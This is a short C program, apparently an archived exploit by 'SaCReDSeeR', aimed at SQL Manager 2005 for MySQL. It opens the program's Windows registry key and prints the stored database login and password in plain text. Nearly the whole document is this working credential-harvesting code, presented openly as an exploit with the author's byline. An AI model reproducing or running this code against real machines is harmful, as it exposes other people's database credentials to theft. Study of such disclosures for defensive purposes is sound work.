<code> 

/*****************************************************************
*
*SQL Manager 2005 for MySQL Local Exploit by SaCReDSeeR
*
*Application: SQL Manager 2005 for MySQL
*Procuder: www.sqlmanager.net
*Vulnerable Description: SQL Manager 2005 for MySQL discloses passwords to local users.
*
*Coded by: SaCReDSeeR
*Web: www.keremvaris.com
*Mail: sacredseer[at]keremvaris[dot]com
*
*****************************************************************/

#include "stdafx.h"
#include "stdio.h"
#include "windows.h"

HKEY hKey;

#define BUFSIZE 100
char Login[BUFSIZE], Password[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main(void)
{

       if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\EMS\\MySQL Manager\\Repository\\Databases\\Item0",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey) == ERROR_SUCCESS)
       {

           lRet = RegQueryValueEx( hKey, "Login", NULL, NULL,
              (LPBYTE) Login, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                RegCloseKey(hKey);
                                printf("En error occured!");
                                return 0;
                       }

                       lRet = RegQueryValueEx( hKey, "Password", NULL, NULL,
              (LPBYTE) Password, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                RegCloseKey(hKey);
                                printf("En error occured!");
                                return 0;
                       }
                       RegCloseKey( hKey );

                       printf("SQL Manager 2005 for MySQL Local Exploit by SaCReDSeeR\n");                     Â
                       printf("www.keremvaris.com\n");
                       printf("sacredseer@keremvaris.com.com\n\n");
                       printf("Username: %s\n",Login);
                       printf("Password: %s\n",Password);

        }
        else{
                printf("SQL Manager 2005 for MySQL is not installed on your system!\n");
        }

       return 0;
}

</code>